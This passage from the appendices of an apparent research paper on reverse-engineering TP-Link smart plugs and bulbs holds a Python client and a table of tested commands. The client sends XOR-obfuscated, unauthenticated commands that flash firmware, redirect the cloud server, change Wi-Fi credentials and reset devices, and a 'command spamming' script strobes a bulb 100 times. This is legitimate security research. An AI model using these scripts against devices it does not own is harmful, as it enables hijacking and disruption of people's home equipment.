            'add':'{"anti_theft":{"add_rule":{"wday":
[1,1,1,1,1,1,1],"name":"asfd","stime_opt":0,"smin":111,"etime_opt":0,"emin":222,"enable":1,"frequency":10,"repeat":1}}}',
            'edit':'{"anti_theft":{"edit_rule":{"stime_opt":0,"wday":
[1,1,1,1,1,1,1],"smin":1050,"enable":1,"frequency":5,"repeat":1,"etime_opt":0,"id":"ABCDEF123456789ABCDEF1234
56789AB","duration":2,"name":"test","lastf
or":1,"month":0,"year":0,"longitude":0,"day":0,"latitude":0,"force":0,"emin":1100}}}',
            'del':'{"anti_theft":{"delete_rule":{"id":"ABCDEF123456789ABCDEF123456789AB"}}}',
            'clearAll':'{"anti_theft":{"delete_all_rules":null}}' 
}
#-----------------------------------------------------------------------------------------------------
#***************************************
#  "stdDimmer" dictionary
#
# Purpose: {dimmer} commands in standard namespace
#************************************
stdDimmer = {'getDefault':'{"dimmer":{"get_default_behavior":{}}}',
            'getParam':'{"dimmer":{"get_dimmer_parameters":{}}}',
            'setBright':'{"dimmer":{"set_brightness":{"brightness":50}}}',
            'setTransit':'{"dimmer":{"set_dimmer_transition":{"brightness":50,"mode":"gentle_on_off", "duration":5}}}',
            'setDouble':'{"dimmer":{"set_double_click_action":{"mode": "gentle_on_off","index":0}}}',
            'setFadeoff':'{"dimmer":{"set_fade_off_time":{"fadeTime":5}}}',
            'setFadeon':'{"dimmer":{"set_fade_on_time":{"fadeTime":5}}}',
            'setGentleoff':'{"dimmer":{"set_gentle_off_time":{"fadeTime":5}}}',
            'setGentleon':'{"dimmer":{"set_gentle_on_time":{"fadeTime":5}}}',
            'setLpress':'{"dimmer":{"set_long_press_action":{"mode": "gentle_on_off","index":0}}}',          
            'setState':'{"dimmer":{"set_switch_state":{"state":1}}}'    
}
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#--------------------------------------------------------------------------------------------------
#***************************************
# "slifeLight" dictionary
#
# Purpose: {lightingservice} commands in smartlife namespace
#************************************
slifeLight = {
            'on':'{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":{"on_off":1,"transition_period":0}}}',
            'off':'{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":{"on_off":0,"transition_period":0}}}',
            'onSlow':'{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"on_off":1,"transition_period":100000}}}',
            'offSlow':'{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"on_off":0,"transition_period":100000}}}',
            'getState':'{"smartlife.iot.smartbulb.lightingservice":{"get_light_state":{}}}', 
            'setState':'{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"transition_period":1,"mode":"normal","hue":120,"on_off":1,"saturation":65,"color_temp":0,"brightness":20}}}',
            'getDefault':'{"smartlife.iot.smartbulb.lightingservice":{"get_default_behavior":{}}}', 
            'getDetails':'{"smartlife.iot.smartbulb.lightingservice":{"get_light_details":{}}}', 
            'setSoftOn':'{"smartlife.iot.smartbulb.lightingservice":{"set_default_behavior":{"hard_on":
{"mode":"customize_preset","index":3}}}}',
            'setHardOn':'{"smartlife.iot.smartbulb.lightingservice":{"set_default_behavior":{"soft_on":
{"mode":"customize_preset","index":2}}}}',
            'setPS':'{"smartlife.iot.smartbulb.lightingservice":{"set_preferred_state":{"index":1,"brightness":66}}}',
            'getPS':'{"smartlife.iot.smartbulb.lightingservice":{"get_preferred_state":{}}}'
}
#-----------------------------------------------------------------------------------------------
#***************************************
# "stdBulbCompat" dictionary
#
# Purpose: commands in standard namespace that are compatible with LB100
#************************************
stdBulbCompat = {
            'getInfo' : '{"system":{"get_sysinfo":{}}}', 
            'getDownloadSt':'{"system":{"get_download_state":{}}}', 
            'getFirmware':'{"system":{"download_firmware":{"url":"192.168.1.1"}}}', 
            'checkConfig':'{"system":{"check_new_config":{}}}',  
            'APscan' : '{"netif":{"get_scaninfo":{"refresh":0}}}',
            'APinfo' : '{"netif":{"get_stainfo":{}}}', 
            'APconnect' : '{"netif":{"set_stainfo":{"ssid":"mywifi","password":"secret","key_type":3}}}'    
}
#----------------------------------------------------------------------------------------------
#***************************************
# "slifeSched" dictionary
#
# Purpose: {schedule} commands in smartlife namespace
#************************************
slifeSched = {
            'enable':'{"smartlife.iot.common.schedule":{"set_overall_enable":{"enable":1}}}', 
            'getAll':'{"smartlife.iot.common.schedule":{"get_rules":""}}', 
            'daily':'{"smartlife.iot.common.schedule":{"get_daystat":{"month":8,"year":2017}}}',
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            'monthly':'{"smartlife.iot.common.schedule":{"get_monthstat":{"year":2017}}}',
            'add':'{"smartlife.iot.common.schedule":{"add_rule":{"name":"sfd", "wday":[1,1,1,1,1,1,1], 
"stime_opt":0,"smin":4,"sact":2,"etime_opt":0,"emin":6,"eact":-1, "repeat":1, "enable":1, "s_light":
{"saturation":21,"hue":129,"brightness":17,"color_temp":0,"mode":"last_status","on_off":1}}}}',
            'edit':'{"smartlife.iot.common.schedule":{"edit_rule":
{"id":"ABCDEF123456789ABCDEF123456789AB","name":"name", "wday":[1,1,1,1,1,1,1], "stime_opt":0, "smin":1, 
"sact":2,"etime_opt":-1,"emin":-1, "eact":-1, "repeat":1, "enable":1, "s_light":
{"saturation":21,"hue":129,"brightness":17,"color_temp":0,"mode":"last_status","on_off":1}}}}',
            'delete': '{"smartlife.iot.common.schedule":{"delete_rule":
{"id":"ABCDEF123456789ABCDEF123456789AB"}}}',
            'getNext':'{"smartlife.iot.common.schedule":{"get_next_action":""}}', 
            'clearRule':'{"smartlife.iot.common.schedule":{"delete_all_rules":null}}', 
            'clearStat':'{"smartlife.iot.common.schedule":{"erase_runtime_stat":null}}'          
}
#------------------------------------------------------------------------------------------
#***************************************
# "slifeTimeSet" dictionary
#
# Purpose: {timesetting} commands in smartlife namespace
#************************************
slifeTimeSet = {
            'get':'{"smartlife.iot.common.timesetting":{"get_time":{}}}',
            'set':'{"smartlife.iot.common.timesetting":{"set_time":
{"year":2017,"month":8,"mday":24,"hour":20,"min":10,"sec":19}}}',
            'getTZ':'{"smartlife.iot.common.timesetting":{"get_timezone":{}}}',
            'setTZ':'{"smartlife.iot.common.timesetting":{"set_timezone":
{"index":9,"hour":0,"year":2019,"min":0,"month":8,"sec":0,"mday":3}}}', 
}
#----------------------------------------------------------------------------------------
#***************************************
# "slifeEmeter" dictionary
#
# Purpose: {emeter} commands in smartlife namespace
#************************************
slifeEmeter = {
            'realtime': '{"smartlife.iot.common.emeter":{"get_realtime":{}}}', 
            'getGain':'{"smartlife.iot.common.emeter":{"get_vgain_igain":{}}}',  
            'setGain':'{"smartlife.iot.common.emeter":{"set_vgain_igain":{"vgain":13462,"igain":16835}}}', 
            'calibrate':'{"smartlife.iot.common.emeter":{"start_calibration":{"vtarget":13462,"itarget":16835}}}', 
            'daily':'{"smartlife.iot.common.emeter":{"get_daystat":{"month":7,"year":2019}}}', 
            'monthly':'{"smartlife.iot.common.emeter":{"get_monthstat":{"year":2019}}}', 
            'erase':'{"smartlife.iot.common.emeter":{"erase_emeter_stat":null}}' 
}
#-----------------------------------------------------------------------------------------
#***************************************
# "slifeCloud" dictionary
#
# Purpose: {cloud} commands in smartlife namespace
#************************************
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slifeCloud = {
            'getInfo':'{"smartlife.iot.common.cloud":{"get_info":{}}}',
            'getFW' : '{"smartlife.iot.common.cloud":{"get_intl_fw_list":{}}}', 
            'setServer' : '{"smartlife.iot.common.cloud":{"set_server_url":{"server":"duckduckgo.com"}}}', 
            'bind' : '{"smartlife.iot.common.cloud":{"bind":{"username":"alice@domain.com", "password":"secret"}}}', 
            'unbind' : '{"smartlife.iot.common.cloud":{"unbind":null}}'  
}
#------------------------------------------------------------------------------------------
#***************************************
# "slifeSystem" dictionary
#
# Purpose: {system} commands in smartlife namespace
#************************************
slifeSystem = {
            'getInfo' : '{"smartlife.iot.common.system":{"get_sysinfo":null}}',  
            'on' : '{"smartlife.iot.common.system":{"set_relay_state":{"state":1}}}',
            'off' : '{"smartlife.iot.common.system":{"set_relay_state":{"state":0}}}', 
            'ledOff' : '{"smartlife.iot.common.system":{"set_led_off":{"off":1}}}',
            'ledOn' : '{"smartlife.iot.common.system":{"set_led_off":{"off":0}}}', 
            'setMAC' : '{"smartlife.iot.common.system":{"set_mac_addr":{"mac":"01-01-01-01-02-03"}}}', 
            'setDevID':'{"smartlife.iot.common.system":{"set_device_id":
{"deviceId":"0123456789ABCDEF0123456789ABCDEF01234567"}}}', 
            'setHWid':'{"smartlife.iot.common.system":{"set_hw_id":
{"hwId":"0123456789ABCDEF0123456789ABCDEF"}}}', 
            'setLocation':'{"smartlife.iot.common.system":{"set_dev_location":{"longitude":4,"latitude":3, "latitude_i":40000, 
"longitude_i":30000}}}',
            'getLocation':'{"smartlife.iot.common.system":{"get_dev_location":{}}}',
            'testUboot':'{"smartlife.iot.common.system":{"test_check_uboot":null}}', 
            'getIcon':'{"smartlife.iot.common.system":{"get_dev_icon":null}}', 
            'setIcon':'{"smartlife.iot.common.system":{"set_dev_icon":{"icon":"xxxx","hash":"ABCD"}}}', 
            'testModeOn':'{"smartlife.iot.common.system":{"set_test_mode":{"enable":1}}}', 
            'testModeOff':'{"smartlife.iot.common.system":{"set_test_mode":{"enable":0}}}', 
            'getFw':'{"smartlife.iot.common.system":{"download_firmware":{"url":"192.168.0.1"}}}',
 
            'getDownload':'{"smartlife.iot.common.system":{"get_download_state":{}}}', 
            'flashFw':'{"smartlife.iot.common.system":{"flash_firmware":{}}}', 
            'checkConfig':'{"smartlife.iot.common.system":{"check_new_config":null}}',  
            'setAlias':'{"smartlife.iot.common.system":{"set_dev_alias":{"alias":"new_name"}}}', 
            'reboot':'{"smartlife.iot.common.system":{"reboot":{"delay":1}}}',
            'reset':'{"smartlife.iot.common.system":{"reset":{"delay":1}}}'
}
#------------------------------------------------------------------------------------------
#***************************************
# "slifeCountdown" dictionary
#
# Purpose: {count_down} commands in smartlife namespace
#************************************
slifeCountdown = {
            'get':'{"smartlife.iot.common.count_down":{"get_rules":null}}', 
            'add':'{"smartlife.iot.common.count_down":{"add_rule":{"enable":1,"delay":100,"act":1,"name":"turn_on"}}}', 
            'edit':'{"smartlife.iot.common.count_down":{"edit_rule":
{"enable":1,"id":"ABCDEF123456789ABCDEF123456789AB","delay":10,"act":0,"name":"turn_on"}}}', 
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            'del':'{"smartlife.iot.common.count_down":{"delete_rule":
{"id":"ABCDEF123456789ABCDEF123456789AB"}}}', 
            'clearAll':'{"smartlife.iot.common.count_down":{"delete_all_rules":null}}'
}
#--------------------------------------------------------------------------------------
#***************************************
# "slifeAtheft" dictionary
#
# Purpose: {anti_theft} commands in smartlife namespace
#************************************
slifeAtheft = {
            'get':'{"smartlife.iot.common.anti_theft":{"get_rules":null}}',
            'enable':'{"smartlife.iot.common.anti_theft":{"set_overall_enable":{"enable":1}}}',
            'add':'{"smartlife.iot.common.anti_theft":{"add_rule":{"stime_opt":0,"smin":50,"wday":
[1,1,1,1,1,1,1],"enable":1,"frequency":10,"repeat":1,"etime_opt":0,"emin":100,"name":"test4"}}}',
            'edit':'{"smartlife.iot.common.anti_theft":{"edit_rule":
{"id":"ABCDEF123456789ABCDEF123456789AB","stime_opt":0,"wday":
[1,1,1,1,1,1,1],"smin":1110,"enable":1,"frequency":10,"repeat":1,"etime_opt":0,"name":"test4","emin":1147}}}',
            'del':'{"smartlife.iot.common.anti_theft":{"delete_rule":
{"id":"ABCDEF123456789ABCDEF123456789AB"}}}',
            'clearAll':'{"smartlife.iot.common.anti_theft":{"delete_all_rules":null}}'
}
#---------------------------------------------------------------------------------------
#******************************************
#  encrypt and decrypt methods
#*******************************************
# Method names: encryptTCP and encryptUDP
# Purpose: Encrypt a given JSON command string using XOR Autokey Cipher with initial key = 171
# Input: string, a string containing the JSON command to be encrypted for transmission
# Output: result, a string of the encrypted JSON command
# Note: TCP commands require message length included in "header", UDP commands have no "header"
def encryptTCP(string):
    key = 171 #key is the initialization value of the cypher
    cmdLen = len(string)
    result = b"\0\0"+chr(cmdLen//256).encode('latin-1')+chr(cmdLen%256).encode('latin-1') #incorporate command length 
into 4 byte header
#    print("......Request header:   ", result)
    for i in string.encode('latin-1'):
        a = key ^ i
        key = a
        result += chr(a).encode('latin-1')
    #print(result)
    return result
def encryptUDP(string):
    key = 171 
    cmdLen = len(string)
    result = b""
    #print("......Request header:   ", result)
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    for i in string.encode('latin-1'):
        a = key ^ i
        key = a
        result += chr(a).encode('latin-1')
    #print(result)
    return result
# Method name: decrypt
# Purpose: Decrypt the received JSON command response string [from TP-Link device] using XOR Autokey Cipher with 
starting key = 171
# Input: string, a string containing the JSON reply to be decrypted from remote device
# Output: result, a string of the decrypted JSON reply
# Note: Header of TCP response is not sent to decryption function, so function can be used for both TCP and UDP message 
decryption
def decrypt(string):
    key = 171
    respLen =0
    result = ""
    for i in string:
        a = key ^ i
        key = i
        result += chr(a)
    respLen = len(string)
#    print("......Response length:    ", respLen)
#    print(string)
    return result
#----------------------------------------------------------------------------------------
#******************************************
# [5] main function
#*******************************************
parser = argparse.ArgumentParser(description="TP-Link Wi-Fi Smart Device Client (TSHP client)")
parser.add_argument("-t", "--target", metavar="<hostname>", required=True, help="Target hostname or IP address", 
type=validHostname)
parser.add_argument("-u","--useUDP", metavar="<useUDP>", required=True, help="Enter 'y' to use UDP, otherwise use 
tcp as default")
uCommand = parser.add_mutually_exclusive_group(required=True)
uCommand.add_argument("--atheft", metavar="<anti_theft_command>", help="Standard namespace {anti_theft} command
to send. Choices are: "+", ".join(stdAtheft), choices=stdAtheft)
uCommand.add_argument("--atheftSLF", metavar="<SLFatheft_command>", help="Smartlife namespace {anti_theft} 
command to send. Choices are: "+", ".join(slifeAtheft), choices=slifeAtheft)
uCommand.add_argument("--bulbComp", metavar="<bulb_command>", help="Standard namespace command that are 
bulb compatible. Choices are: "+", ".join(stdBulbCompat), choices=stdBulbCompat)
uCommand.add_argument("--cloud", metavar="<cloud_command>", help="Standard namespace {cnCloud} command to 
send. Choices are: "+", ".join(stdCloud), choices=stdCloud)
uCommand.add_argument("--cloudSLF", metavar="<SLFcloud_command>", help="Smartlife namespace {cloud} 
command to send. Choices are: "+", ".join(slifeCloud), choices=slifeCloud)
uCommand.add_argument("--countd", metavar="<count_down_command>", help="Standard namespace {count_down} 
command to send. Choices are: "+", ".join(stdCountd), choices=stdCountd)
uCommand.add_argument("--countdSLF", metavar="<SLFcountd_command>", help="Smartlife namespace {count_down}
command to send. Choices are: "+", ".join(slifeCountdown), choices=slifeCountdown)
uCommand.add_argument("--dim", metavar="<dimmer_command>", help="Standard namespace {dimmer} command to 
send. Choices are: "+", ".join(stdDimmer), choices=stdDimmer)
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uCommand.add_argument("--emeter", metavar="<emeter_command>", help="Standard namespace {eMeter} command to 
send. Choices are: "+", ".join(stdEmeter), choices=stdEmeter)
uCommand.add_argument("--emeterSLF", metavar="<SLFemeter_command>", help="Smartlife namespace {emeter} 
command to send. Choices are: "+", ".join(slifeEmeter), choices=slifeEmeter)
uCommand.add_argument("--lightSLF", metavar="<SLFlight_command>", help="Smartlife namespace {lightingservice} 
command to send. Choices are: "+", ".join(slifeLight), choices=slifeLight)
uCommand.add_argument("--netif", metavar="<net_command>", help="Standard namespace {netif} command to send. 
Choices are: "+", ".join(stdNetif), choices=stdNetif)
uCommand.add_argument("--sched", metavar="<schedule_command>", help="Standard namespace {schedule} command 
to send. Choices are: "+", ".join(stdSched), choices=stdSched)
uCommand.add_argument("--schedSLF", metavar="<SLFsched_command>", help="Smartlife namespace {schedule} 
command to send. Choices are: "+", ".join(slifeSched), choices=slifeSched)
uCommand.add_argument("--sys", metavar="<sys_command>", help="Standard namespace {system} command to send. 
Choices are: "+", ".join(stdSys), choices=stdSys)
uCommand.add_argument("--sysSLF", metavar="<SLF_sys_command>", help="Smartlife namespace {system} command 
to send. Choices are: "+", ".join(slifeSystem), choices=slifeSystem)
uCommand.add_argument("--time", metavar="<timeset_command>", help="Standard namespace {time} command to send.
Choices are: "+", ".join(stdTimeSet), choices=stdTimeSet)
uCommand.add_argument("--timeSLF", metavar="<SLFtime_command>", help="Smartlife namespace {timesetting} 
command to send. Choices are: "+", ".join(slifeTimeSet), choices=slifeTimeSet)
args = parser.parse_args()  #finish parsing the user defined arguments
#set destination
ip = args.target 
port = 9999
#set UDP or TCP
if args.useUDP == "y":
usingUDP = True
else:
usingUDP = False
#find command from dictionary
if args.sys is not None:
       cmd =  stdSys[args.sys]
elif args.netif is not None:
       cmd = stdNetif[args.netif]
elif args.cloud is not None:
       cmd = stdCloud[args.cloud]
elif args.time is not None:
       cmd = stdTimeSet[args.time]
elif args.emeter is not None:
       cmd = stdEmeter[args.emeter]
elif args.sched is not None:
       cmd = stdSched[args.sched]
elif args.countd is not None:
       cmd = stdCountd[args.countd]
elif args.atheft is not None:
        cmd = stdAtheft[args.atheft]
elif args.dim is not None:
        cmd = stdDimmer[args.dim]
elif args.bulbComp is not None:
        cmd = stdBulbCompat[args.bulbComp]
elif args.sysSLF is not None:
        cmd = slifeSystem[args.sysSLF]
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elif args.cloudSLF is not None:
        cmd = slifeCloud[args.cloudSLF]
elif args.timeSLF is not None:
        cmd = slifeTimeSet[args.timeSLF]
elif args.emeterSLF is not None:
        cmd = slifeEmeter[args.emeterSLF]
elif args.schedSLF is not None:
        cmd = slifeSched[args.schedSLF]
elif args.countdSLF is not None:
        cmd = slifeCountdown[args.countdSLF]
elif args.atheftSLF is not None:
        cmd = slifeAtheft[args.atheftSLF]
else:
       cmd = slifeLight[args.lightSLF]
#Send TSHP command over UDP, receive and print UDP reply
if usingUDP is True:
try:
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.sendto(encryptUDP(cmd),(ip, port))
data = sock_udp.recv(2048) 
cmdJSON = json.loads(cmd)
respoStr = decrypt(data)
respoJSON = json.loads(respoStr)
print("######################################################")
print ("################################      UDP   Sent: #####")
print ("##########################  Dest: ", ip," #####")
print (json.dumps(cmdJSON, indent=4))
print("%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%")
print ("%%%% UDP   Received:         %%%%%%%%%%%%%%%%%%%%%%%%")
print ("%%%% Source: ", ip,"     %%%%%%%%%%%%%%%%%%%%%%")
#print (respoStr) #optional, use this if the response string is too long for json.loads()
print (json.dumps(respoJSON, indent=4)) 
print("\n")
except socket.error:
quit("Cound not connect to host " + ip + ":" + str(port))
#Send TSHP command over TCP, receive and print TCP reply
else:
try:
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.connect((ip, port))
sock_tcp.send(encryptTCP(cmd))
data = sock_tcp.recv(2048)
sock_tcp.close()
cmdJSON = json.loads(cmd)
# The first 4 bytes of the reply are the header containing the reply length. This can be used to assess message 
integrity, if desired.
# Message integrity was confirmed manually during testing, so message reply length was not used.
#The remaining part of the response was decrypted to retrieve the device reply in JSON. 
respoStr = decrypt(data[4:]) 
print("######################################################")
print ("################################      TCP   Sent: #####")
print ("##########################  Dest: ", ip," #####")
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print (json.dumps(cmdJSON, indent=4))
print("%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%")
print ("%%%% TCP   Received:         %%%%%%%%%%%%%%%%%%%%%%%%%")
print ("%%%% Source: ", ip,"     %%%%%%%%%%%%%%%%%%%%%%")
#print (respoStr) #optional, use this if the response string is too long for json.loads()
respoJSON = json.loads(respoStr)
print(json.dumps(respoJSON, indent=4))   
print("\n")
except socket.error:
quit("Cound not connect to host " + ip + ":" + str(port))
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A5. TSHP Command Spamming Script
#!/usr/bin/env python2    
#
#***************************************************************
# Python Script Description: TP-Link Wi-Fi Smart Bulb strobe
# Author: Andrew Halterman
# Purpose: Turn smart bulb on and off 100 times at speed determined by user.
# Written and tested using Python3
#***************************************************************
#
# Based upon work and comments from the following sources: 
# Stroetmann, L., & Esser, T. (29 Jul 2016). Reverse Engineering the TP-Link HS110. SoftScheck. Retrieved from 
https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/
# softScheck. (4 Jul 2018). tplink-smartplug [Software]. Available from https://github.com/softScheck/tplink-smartplug 
# Gont, F. (Mar 2017). Hacking TP-Link Devices [PDF file]. NGI @ Troopers 17, March 20-24, 2017 Heidelberg, 
#Germany. Retrieved from https://www.troopers.de/downloads/troopers17/TR17_fgont_-iot_tp_link_hacking.pdf
# konsumer. (2 Jun 2019). tplink-lightbulb (Version 1.5.1) [Software]. Available from https://github.com/konsumer/tplink-
#lightbulb
# plasticrake. (12 Feb 2019). tplink-smarthome-api (Version 1.2.0) [Software]. Available from 
https://github.com/plasticrake/tplink-smarthome-api
# Dorey, B. (30 Aug 2017). tp-link LB130 Smart Wi-Fi LED Bulb Python Control. Brian Dorey. Retrieved from 
#https://www.briandorey.com/post/tp-link-lb130-smart-wi-fi-led-bulb-python-control
# mjfwest. (24 Sep 2017). tplink-smartplug Issues # 20: Python3 support [Msg 4]. Github. Message retrieved from 
#https://github.com/softScheck/tplink-smartplug/issues/20
# fernando-p-jesus. (6 Nov 2018). tplink-smartplug Issues #29: schedule [Msg 2]. Github. Message retrieved from 
https://github.com/softScheck/tplink-smartplug/issues/29
#--------------------------------------------------------------------------------------------------------------------------------------
#****************************************************************
# [1] Import modules
#****************************************************************
import socket
import argparse
import time
from struct import pack
#----------------------------------------------------------------------------------------------------------------------------------------------------
#***************************************
# [2] "validHostname" type
#************************************
def validHostname(hostname):
try:              
socket.gethostbyname(hostname)
except socket.error:
parser.error("Invalid hostname.")
return hostname
#----------------------------------------------------------------------------------------------------------------------------------------------------
#******************************************
# [3] "encrypt" and "decrypt" methods
#*******************************************
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# Method name: encrypt
# Purpose: Encrypt a given JSON command string using XOR Autokey Cipher with starting key = 171
# Input: string, a string containing the JSON command to be encrypted for transmission
# Output: result, a string of the encrypted JSON command
def encrypt(string):
    key = 171 #key is the initialization value of the cypher
    result = b"\0\0\0"+ chr(len(string)).encode('latin-1')
    for i in string.encode('latin-1'):
        a = key ^ i
        key = a
        result += chr(a).encode('latin-1')
    return result
# Method name: decrypt
# Purpose: Decrypt the received JSON command response string [from tp link device] using XOR Autokey Cipher with 
#starting key = 171
# Input: string, a string containing the JSON reply to be decrypted from remote device
# Output: result, a string of the decrypted JSON reply
def decrypt(string):
    key = 171 
    result = ""
    for i in string: 
        a = key ^ i
        key = i 
        result += chr(a)
    return result
#---------------------------------------------------------------------------------------------------------------------------------------------------
#******************************************
# [4] main function
#*******************************************
# To adapt code for smart plugs, change “cmd” to...
#                ‘{"system":{"set_relay_state":{"state":1}}}' to turn plug “on”
#                '{"system":{"set_relay_state":{"state":0}}}' to turn plug “off”
# To turn bulb on and off, set one cmd to turn plug “on” and one cmd to turn plug “off”
parser = argparse.ArgumentParser(description="TP-Link Wi-Fi Smart Bulb strobe")
parser.add_argument("-s", "--sleep", metavar="<sleep_time>", required=True, 
help="Time to sleep between commands, in milliseconds")
args = parser.parse_args()  #finish parsing the user defined arguments
sleepTime = float(args.sleep)
# ip is the ip address of the device that the user wants to interract with
#note that the port is hardcoded
ip = "192.168.0.1"  
port = 9999
try:
        sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock_tcp.connect((ip, port))
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        if(int(sleepTime)==0):
                print("Plug strobe launched. 100 on-off cycles. No sleep between commands.")     
                for i in range(0,100):
                        cmd = '{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"on_off":1,"transition_period":0}}}'
                        sock_tcp.send(encrypt(cmd))
                        data = sock_tcp.recv(2048)
                        cmd = '{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"on_off":0,"transition_period":0}}}'
                        sock_tcp.send(encrypt(cmd))
                        data = sock_tcp.recv(2048)
                        print("cycle completed:    ", i)
        else:
                print("Plug strobe launched. 100 on-off cycles. Sleep between commands (in milliseconds) set to: ", sleepTime)    
                for i in range(0,100):
                        cmd = '{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"on_off":1,"transition_period":0}}}'
                        sock_tcp.send(encrypt(cmd))
                        data = sock_tcp.recv(2048)
                        time.sleep(sleepTime/1000)
                        cmd = '{"smartlife.iot.smartbulb.lightingservice":{"transition_light_state":
{"on_off":0,"transition_period":0}}}'
                        sock_tcp.send(encrypt(cmd))
                        data = sock_tcp.recv(2048)
                        time.sleep(sleepTime/1000)
                        print("cycle completed:    ", i)
        sock_tcp.close()
        print("100 cycles complete")
except socket.error:
        quit("Could not connect to the host " + ip + ":" + str(port))
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A6. Table 7
Table 7. Examples of TSHP Methods & Responses
Example Command (1)
Command Used: 
“netif”: “get_stainfo”
Target Device: 
LB100 
Notes: 
This TSHP command was not documented in 
other sources at the time of writing.
SSID redacted for privacy.
Example Command (2)
Command Used: 
“smartlife.iot.common.anti_theft”: “add_rule”
Target Device: 
LB100 
Notes:
Away mode was not available in-app for the 
LB100, but “anti_theft” functionality was 
supported on the device.
See next Command, (3), for proof that “anti_theft”
rule was accepted. 
Rule ID partially redacted.
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Example Command (3)
Command Used: 
“smartlife.iot.common.anti_theft”: “get_rules”
Target Device: 
LB100 
Notes:
Away mode was not available in-app for the 
LB100, but “anti_theft” functionality was 
supported on the device.
“get_rules” retrieves “anti_theft” rule added using
previous Command, (2), proving that the device 
accepted the rule. Additionally, the LB100 bulb 
turned on when the device clock reached 00:50, 
the time dictated to start (see “smin”). 
Rule ID partially redacted.
Example Command (4)
Command Used: 
“smartlife.iot.common.count_down”: “add_rule”
Target Device: 
LB100 
Notes:
Timer mode was not available in-app for the 
LB100, but “count_down” functionality was 
supported on the device.
See next command, Command (5), for proof that 
“count_down” rule was accepted. 
Rule ID partially redacted.
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Example Command (5)
Command Used: 
“smartlife.iot.common.count_down”: “get_rules”
Target Device: 
LB100 
Notes:
Timer mode was not available in-app for the 
LB100, but “count_down” functionality was 
supported on the device.
“get_rules” retrieves “count_down” rule added 
using previous Command, (4), proving that the 
device accepted the rule. Additionally, when the 
time limit was reached (“remain” reached ‘0’), the
LB100 turned on.
Rule ID partially redacted.
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Example Command (6)
Command Used:
“smartlife.iot.smartbulb.lightingservice” : 
“get_preferred_state”
Target Device:
LB100
Notes:
This TSHP command was not documented in 
other sources at the time of writing.
“index”:1 has a brightness setting of ‘75’. This 
will be changed in Command (9).
Example Command (7)
Command Used:
“smartlife.iot.smartbulb.lightingservice” : 
“set_default_behavior”
Target Device:
LB100
Notes:
This TSHP command was not documented in 
other sources at the time of writing.
Confirmation of change to “hard_on” can be seen 
in Command (8).
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Example Command (8)
Command Used:
“smartlife.iot.smartbulb.lightingservice” : 
“get_default_behavior”
Target Device:
LB100
Notes:
Changes resulting from Command (7) can be seen
for the “hard_on” setting, which has been changed
from “last_status” mode to “customize_preset” 
mode with “index” set to ‘3’.
Example Command (9)
Command Used:
“smartlife.iot.smartbulb.lightingservice” : 
“set_preferred_state”
Target Device:
LB100
Notes:
This TSHP command was not documented in 
other sources at the time of writing.
Confirmation of change can be seen in Command 
(10)
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Example Command (10)
Command Used:
“smartlife.iot.smartbulb.lightingservice” : 
“get_preferred_state”
Target Device:
LB100
Notes:
“brightness” of “index” 1 has been changed from 
‘75’ as seen in Command (6) to ‘66’, the value 
specified in Command (9), proving the change in 
Command (9) was accepted and implemented. 
123
